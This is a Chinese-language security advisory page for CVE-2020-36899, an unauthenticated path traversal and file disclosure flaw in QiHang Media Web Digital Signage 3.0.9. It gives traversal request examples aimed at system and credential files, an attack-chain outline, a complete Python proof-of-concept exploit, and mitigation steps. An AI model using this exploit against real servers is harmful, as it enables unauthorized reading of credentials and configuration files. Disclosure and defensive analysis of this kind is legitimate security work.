IPBUF安全漏洞报告
English
CVE-2020-36899 CVSS 7.5 高危

CVE-2020-36899 QiHang Media Web数字标牌未授权文件泄露漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2020-36899
漏洞类型
未授权文件访问
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QiHang Media Web Digital Signage

相关标签

CVE-2020-36899未授权文件访问路径遍历QiHang Media Web数字标牌高危漏洞无需认证远程攻击

漏洞概述

CVE-2020-36899是发现于QiHang Media Web Digital Signage 3.0.9版本中的一个严重安全漏洞。该漏洞属于未授权文件泄露(Unauthenticated File Disclosure)类型,允许远程攻击者在无需任何身份认证的情况下,通过操纵应用程序的'filename'和'path'参数来访问服务器上的敏感文件。攻击者主要针对QH.aspx端点进行攻击,通过精心构造的请求配合download或getAll动作,即可实现任意文件读取和目录内容遍历。此漏洞的CVSS评分为7.5,属于高危级别,对系统机密性造成严重影响。由于该漏洞无需认证即可利用,攻击门槛极低,任何能够访问目标服务器网络的攻击者都可以发起攻击。攻击成功后,攻击者可能获取系统配置文件、密码凭据、源代码、数据库连接信息等敏感数据,进而可能实现横向移动或进一步入侵。

技术细节

该漏洞存在于QiHang Media Web Digital Signage的QH.aspx端点中。应用程序在接受用户输入的'filename'和'path'参数时未进行充分的输入验证和安全检查,导致攻击者可以通过路径遍历(Path Traversal)技术访问服务器上的任意文件。漏洞主要涉及两个动作:download和getAll。在download动作中,攻击者通过构造类似'QH.aspx?action=download&filename=../../../../windows/system32/drivers/etc/hosts'的请求,可以读取目标系统文件。在getAll动作中,攻击者可以利用类似'QH.aspx?action=getAll&path=../../'的请求遍历目录结构。由于应用程序未对参数值进行安全过滤,'../'序列可以正常使用,从而实现目录回溯。攻击者通常会首先尝试读取常见的敏感文件,如/etc/passwd(Linux系统)或C:\Windows\System32\config\SAM(Windows系统),以及应用程序的配置文件来获取数据库凭据或API密钥。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标服务器上运行的QiHang Media Web Digital Signage应用,并确认QH.aspx端点存在
STEP 2
步骤2
构造恶意请求:攻击者构造包含路径遍历序列(如../../)的filename或path参数,指向目标敏感文件
STEP 3
步骤3
发送漏洞利用请求:通过HTTP GET请求向QH.aspx端点发送构造的payload,使用download或getAll动作
STEP 4
步骤4
获取敏感文件:服务器未验证参数,直接返回请求的文件内容,攻击者获得系统配置文件、凭据等敏感信息
STEP 5
步骤5
横向移动:利用获取的凭据或配置信息,进一步入侵内部系统或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36899 PoC - QiHang Media Web Unauthenticated File Disclosure # Target: QiHang Media Web Digital Signage 3.0.9 # Endpoint: QH.aspx import requests import sys def exploit_file_disclosure(target_url, filename): """ Exploit the unauthenticated file disclosure vulnerability Args: target_url: Base URL of the vulnerable application filename: File path to read (supports path traversal) """ # Try download action download_params = { 'action': 'download', 'filename': filename } print(f"[*] Attempting to read: {filename}") print(f"[*] Using download action...") try: response = requests.get(f"{target_url}/QH.aspx", params=download_params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File content:") print(response.text[:1000]) # Print first 1000 chars return True else: print(f"[-] Download action failed, trying getAll action...") # Try getAll action for directory listing getall_params = { 'action': 'getAll', 'path': filename } response = requests.get(f"{target_url}/QH.aspx", params=getall_params, timeout=10) if response.status_code == 200: print(f"[+] Directory listing success!") print(response.text) return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2020-36899.py <target_url> ") print("Example: python cve-2020-36899.py http://target.com ../../../../windows/system32/drivers/etc/hosts") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] exploit_file_disclosure(target, filename)

影响范围

QiHang Media Web Digital Signage 3.0.9

防御指南

临时缓解措施
在供应商发布官方补丁之前,可采取以下临时缓解措施:1)使用网络层访问控制,限制对QH.aspx端点的访问,仅允许受信任的IP地址访问;2)部署反向代理或API网关,对请求参数进行过滤和验证;3)监控和记录所有对QH.aspx端点的请求,及时发现异常攻击行为;4)考虑暂时禁用QH.aspx的download和getAll功能,直到漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表